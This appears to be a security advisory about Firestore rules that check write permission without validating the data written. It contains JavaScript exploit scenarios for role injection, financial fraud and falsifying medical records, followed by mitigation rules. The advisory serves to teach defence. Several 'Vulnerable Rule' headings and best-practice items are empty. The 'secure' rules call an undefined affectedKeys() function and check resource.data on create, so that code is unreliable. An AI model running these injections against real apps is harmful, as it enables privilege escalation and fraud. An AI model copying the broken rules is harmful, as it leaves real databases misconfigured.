Firebase Security Vulnerability: FBR-VALID-001¶
Name: Firestore Missing Write Data Validation Vulnerability
Applicable Services: Cloud Firestore, Firebase Realtime Database
Description¶
Technical Vulnerability Overview
The Technical Flaw: Security rules that only validate user authorization (who can write) without validating the actual data being written (what can be written) create opportunities for attackers to inject malicious fields, corrupt data integrity, and bypass application logic.
Intended Behavior: Security rules should act as a comprehensive server-side schema, validating not only access permissions but also the structure, types, and content of all incoming data to ensure it meets application requirements.
The Risk: Attackers can inject unauthorized fields, modify immutable data, write invalid data types, or violate business logic constraints, potentially leading to privilege escalation, data corruption, and security control bypass.
Impact¶
Potential Consequences
This vulnerability can lead to severe security and data integrity issues:
- Privilege Escalation: Attackers can inject permission-controlling fields like 'role', 'isAdmin', or 'permissions' to grant themselves elevated access
- Data Corruption: Invalid data types or formats can break application logic and cause system failures
- Business Logic Bypass: Violation of application constraints can circumvent intended workflows and security controls
- Immutable Field Modification: Critical system fields can be altered, breaking audit trails and security assumptions
- Schema Pollution: Injection of unexpected fields can cause application errors and security vulnerabilities
- Compliance Violations: Data integrity issues can violate regulatory requirements and audit standards
Example Attack Scenarios¶
Exploit Scenario: Privilege Escalation Through Role Injection
The Vulnerable Rule:
Attacker's Goal: To escalate privileges from regular user to administrator by injecting a role field.
The Exploit: A regular user modifies their profile to include admin privileges:
// Attacker is logged in as a regular user
const currentUser = firebase.auth().currentUser;
// Normal profile update that should be allowed
const legitimateUpdate = {
name: 'John Doe',
email: 'john@example.com',
lastLogin: new Date()
};
// Malicious injection of privilege-escalating fields
const maliciousUpdate = {
name: 'John Doe',
email: 'john@example.com',
lastLogin: new Date(),
// INJECTED: Privilege escalation fields
role: 'admin',
isAdmin: true,
permissions: ['read', 'write', 'delete', 'admin'],
accessLevel: 'superuser',
canApproveTransactions: true,
departmentAccess: ['finance', 'hr', 'engineering']
};
try {
// This write will be allowed due to missing validation
await db.collection('users').doc(currentUser.uid).update(maliciousUpdate);
console.log('Successfully injected admin privileges!');
// Now access admin-only resources
const adminPanel = await db.collection('admin_panel').get();
console.log('Accessed admin panel:', adminPanel.docs.length, 'documents');
} catch (error) {
console.error('Attack failed:', error);
}
Outcome: The attacker successfully injects admin privileges into their user document and can now access administrative functions throughout the application.
Exploit Scenario: Financial Data Corruption and Fraud
The Vulnerable Rule:
Attacker's Goal: To manipulate financial data by injecting invalid fields and corrupting transaction integrity.
The Exploit: An attacker corrupts their account data to bypass financial controls:
// Attacker accesses their account document
const accountId = 'account-123';
// Malicious data injection with type confusion and constraint violations
const corruptedData = {
// Normal fields
accountNumber: '1234567890',
accountType: 'checking',
// MALICIOUS: Type confusion attacks
balance: 'unlimited', // String instead of number
creditLimit: null, // Null to bypass limit checks
// MALICIOUS: Business logic bypass
overdraftProtection: true,
overdraftLimit: Number.MAX_SAFE_INTEGER,
// MALICIOUS: Audit trail corruption
lastTransactionId: {}, // Object instead of string
transactionHistory: 'cleared', // String instead of array
// MALICIOUS: Feature flag injection
premiumFeatures: true,
feeWaiver: true,
unlimitedTransfers: true,
// MALICIOUS: Timestamp manipulation
accountCreated: new Date('1970-01-01'), // Historical date
lastVerification: new Date('2099-12-31'), // Future date
// MALICIOUS: Permission injection
canTransferToExternal: true,
maxDailyTransfer: 999999999,
requiresApproval: false
};
try {
await db.collection('accounts').doc(accountId).update(corruptedData);
console.log('Successfully corrupted account data!');
// Attempt fraudulent transaction with corrupted data
const fraudulentTransfer = await db.collection('transactions').add({
fromAccount: accountId,
toAccount: 'external-bank-456',
amount: 1000000, // Large amount
type: 'transfer',
timestamp: new Date()
});
console.log('Fraudulent transaction created:', fraudulentTransfer.id);
} catch (error) {
console.error('Corruption attempt failed:', error);
}
Outcome: The attacker corrupts their account data with invalid types and unauthorized permissions, potentially enabling fraudulent transactions and bypassing financial controls.
Exploit Scenario: Healthcare Record Manipulation
The Vulnerable Rule:
Attacker's Goal: To manipulate medical records by injecting false data and corrupting medical history.
The Exploit: A patient modifies their medical records to hide medical history or inject false information:
// Patient accesses their medical record
const recordId = 'medical-record-789';
// Malicious medical record manipulation
const falsifiedRecord = {
// Normal fields that should be immutable
patientId: 'patient-123',
recordDate: new Date(),
// MALICIOUS: Critical field manipulation
bloodType: 'O+', // Changed from actual type
allergies: [], // Cleared critical allergy information
// MALICIOUS: Medical history falsification
chronicConditions: [], // Cleared diabetes, hypertension
currentMedications: [], // Cleared all medications
surgicalHistory: [], // Cleared previous surgeries
// MALICIOUS: Insurance fraud preparation
treatmentCost: 0,
insuranceCovered: true,
copayAmount: 0,
// MALICIOUS: Legal record tampering
consentGiven: true,
legalGuardian: null,
mentalCapacity: 'full',
// MALICIOUS: Provider credential injection
attendingPhysician: 'patient-123', // Self as doctor
approvedBy: 'patient-123',
medicalLicense: 'FAKE-LICENSE-123',
// MALICIOUS: Audit trail corruption
lastModifiedBy: 'system-admin',
modificationReason: 'routine-update',
auditTrail: 'cleared'
};
try {
await db.collection('medical_records').doc(recordId).update(falsifiedRecord);
console.log('Successfully falsified medical record!');
// Access other medical functions with corrupted data
const prescriptions = await db.collection('prescriptions')
.where('patientId', '==', 'patient-123')
.get();
console.log('Accessing prescriptions with falsified data');
} catch (error) {
console.error('Medical record tampering failed:', error);
}
Outcome: The attacker successfully falsifies their medical records, potentially endangering their health through hidden medical conditions and enabling insurance fraud.
Mitigation¶
The vulnerability is resolved by implementing comprehensive data validation that acts as a server-side schema, validating both the structure and content of all write operations.
rules_version = '2';
service cloud.firestore {
match /databases/{database}/documents {
// VULNERABLE: No data validation
match /users/{userId} {
allow write: if request.auth.uid == userId;
}
// VULNERABLE: Missing field validation
match /accounts/{accountId} {
allow write: if resource.data.ownerId == request.auth.uid;
}
// VULNERABLE: No type checking
match /medical_records/{recordId} {
allow write: if resource.data.patientId == request.auth.uid;
}
}
}
rules_version = '2';
service cloud.firestore {
match /databases/{database}/documents {
// Helper functions for validation
function isValidEmail(email) {
return email is string && email.matches('^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}$');
}
function isValidUserData() {
let data = request.resource.data;
return data.keys().hasAll(['name', 'email', 'createdAt']) &&
data.keys().hasOnly(['name', 'email', 'createdAt', 'lastLogin', 'preferences']) &&
data.name is string &&
data.name.size() >= 1 && data.name.size() <= 100 &&
isValidEmail(data.email) &&
data.createdAt is timestamp &&
(!('lastLogin' in data.keys()) || data.lastLogin is timestamp) &&
(!('preferences' in data.keys()) || data.preferences is map);
}
// SECURE: Comprehensive user data validation
match /users/{userId} {
allow create: if request.auth.uid == userId &&
isValidUserData() &&
request.resource.data.createdAt == request.time;
allow update: if request.auth.uid == userId &&
// Prevent modification of critical fields
request.resource.data.email == resource.data.email &&
request.resource.data.createdAt == resource.data.createdAt &&
// Only allow specific fields to be updated
affectedKeys().hasOnly(['name', 'lastLogin', 'preferences']) &&
request.resource.data.name is string &&
request.resource.data.name.size() >= 1 &&
request.resource.data.name.size() <= 100;
}
// SECURE: Financial account validation
match /accounts/{accountId} {
allow create: if resource.data.ownerId == request.auth.uid &&
request.resource.data.keys().hasAll(['accountNumber', 'accountType', 'balance', 'ownerId']) &&
request.resource.data.keys().hasOnly(['accountNumber', 'accountType', 'balance', 'ownerId', 'createdAt']) &&
request.resource.data.accountNumber is string &&
request.resource.data.accountNumber.size() == 10 &&
request.resource.data.accountType in ['checking', 'savings'] &&
request.resource.data.balance is number &&
request.resource.data.balance >= 0 &&
request.resource.data.ownerId == request.auth.uid &&
request.resource.data.createdAt == request.time;
allow update: if resource.data.ownerId == request.auth.uid &&
// Prevent modification of immutable fields
request.resource.data.accountNumber == resource.data.accountNumber &&
request.resource.data.accountType == resource.data.accountType &&
request.resource.data.ownerId == resource.data.ownerId &&
request.resource.data.createdAt == resource.data.createdAt &&
// Only allow balance updates within reasonable limits
affectedKeys().hasOnly(['balance', 'lastTransaction']) &&
request.resource.data.balance is number &&
request.resource.data.balance >= 0 &&
request.resource.data.balance <= 1000000; // Reasonable limit
}
// SECURE: Medical record validation with immutable critical fields
match /medical_records/{recordId} {
allow update: if resource.data.patientId == request.auth.uid &&
// Critical immutable fields
request.resource.data.patientId == resource.data.patientId &&
request.resource.data.bloodType == resource.data.bloodType &&
request.resource.data.recordDate == resource.data.recordDate &&
request.resource.data.attendingPhysician == resource.data.attendingPhysician &&
// Only allow patient-editable fields
affectedKeys().hasOnly(['emergencyContact', 'preferences', 'lastUpdated']) &&
request.resource.data.emergencyContact is string &&
request.resource.data.lastUpdated == request.time;
}
}
}
Write Validation Best Practices
Comprehensive Field Validation: Always validate both the presence and absence of fields using keys().hasAll()
and keys().hasOnly()
to prevent field injection.
Data Type Enforcement: Use strict type checking with is string
, is number
, is timestamp
, etc., to prevent type confusion attacks.
Immutable Field Protection: Preserve critical fields by comparing new values with existing values:
request.resource.data.userId == resource.data.userId &&
request.resource.data.createdAt == resource.data.createdAt
Size and Format Constraints: Implement appropriate limits and patterns:
data.name.size() >= 1 && data.name.size() <= 100 &&
data.email.matches('^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}$')
Helper Functions for Complex Validation: Use functions to maintain readable and reusable validation logic:
Range and Business Logic Validation: Enforce business constraints: